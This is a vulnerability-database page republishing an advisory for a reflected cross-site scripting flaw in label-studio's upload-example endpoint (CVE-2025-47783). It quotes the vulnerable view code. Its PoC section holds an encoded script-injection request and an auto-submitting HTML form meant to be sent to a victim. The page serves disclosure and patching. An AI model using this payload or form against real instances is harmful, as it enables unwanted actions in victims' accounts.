label-studio vulnerable to Cross-Site Scripting (Reflected) via the label_config parameter.
Summary
The vulnerability allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, unauthorized actions on behalf of the user, and other attacks.
Details
The vulnerability is reproducible when sending a properly formatted request to the POST /projects/upload-example/ endpoint. In the source code, the vulnerability is located at label_studio/projects/views.py.
39: @require_http_methods(['POST'])
40: def upload_example_using_config(request):
41: """Generate upload data example by config only"""
42: config = request.POST.get('label_config', '')
43:
44: org_pk = get_organization_from_request(request)
45: secure_mode = False
46: if org_pk is not None:
47: org = generics.get_object_or_404(Organization, pk=org_pk)
48: secure_mode = org.secure_mode
49:
50: try:
51: Project.validate_label_config(config)
52: task_data, _, _ = get_sample_task(config, secure_mode)
53: task_data = playground_replacements(request, task_data)
54: except (ValueError, ValidationError, lxml.etree.Error):
55: response = HttpResponse('error while example generating', status=status.HTTP_400_BAD_REQUEST)
56: else:
57: response = HttpResponse(json.dumps(task_data))
58: return response
The vulnerability is specifically located in line 57, where HttpResponse is used.
57: response = HttpResponse(json.dumps(task_data))
PoC
Send the following request after changing the {host} to your own.
POST /projects/upload-example/ HTTP/1.1
Host: {host}
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
label_config=%3cView%3e%3cText%20name%3d%22text%22%20value%3d%22$textjmwwi%26lt%3bscript%26gt%3balert(1)%26lt%3b%2fscript%26gt%3bs8m37%22%2f%3e%3c%2fView%3e
Or you can create a vulnerable HTML page by changing {domain} beforehand, which can later be sent to the victim.
<html>
<body>
<form action="http://{domain}/projects/upload-example/" method="POST">
<input type="hidden" name="label_config" value="<View><Text name="text" value="$textjmwwi&lt;script&gt;alert(1)&lt;/script&gt;s8m37"/></View>" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Impact
- Malicious code execution: The user may be forced to perform unwanted actions within their Label Studio account. This includes accessing
document.cookie, but note that Label Studio session cookies are marked http-only, mitigating any possibility of session theft.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | label-studio | < 1.18.0 | 1.18.0 |
References
- https://github.com/HumanSignal/label-studio/security/advisories/GHSA-8jhr-wpcm-hh4h
- https://nvd.nist.gov/vuln/detail/CVE-2025-47783
- https://github.com/HumanSignal/label-studio/commit/97db9e7b16783e1f6052eb432a6f014f80ef268d
- https://github.com/HumanSignal/label-studio
- https://github.com/pypa/advisory-database/tree/main/vulns/label-studio/PYSEC-2025-124.yaml
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N- Weakness (CWE)
CWE-79- Platform
- Python (PyPI)
- Package
label-studio- Disclosed
- 14.05.2025
- Updated
- 11.10.2026 12:19
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2025-124 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-8jhr-wpcm-hh4h - CC BY 4.0
Vulnerability history: label-studio
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 12
- First → latest
- 10.2022 01.2026
- Without a fix
- 1
- Exploited in attacks
- 0
Severity breakdown
- Critical 1
- High 7
- Medium 4
Disclosures per year
- 2022: 1
- 2023: 3
- 2024: 4
- 2025: 3
- 2026: 1
-
label-studio vulnerable to Cross-Site Scripting (Reflected) via the label_config parameter. this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.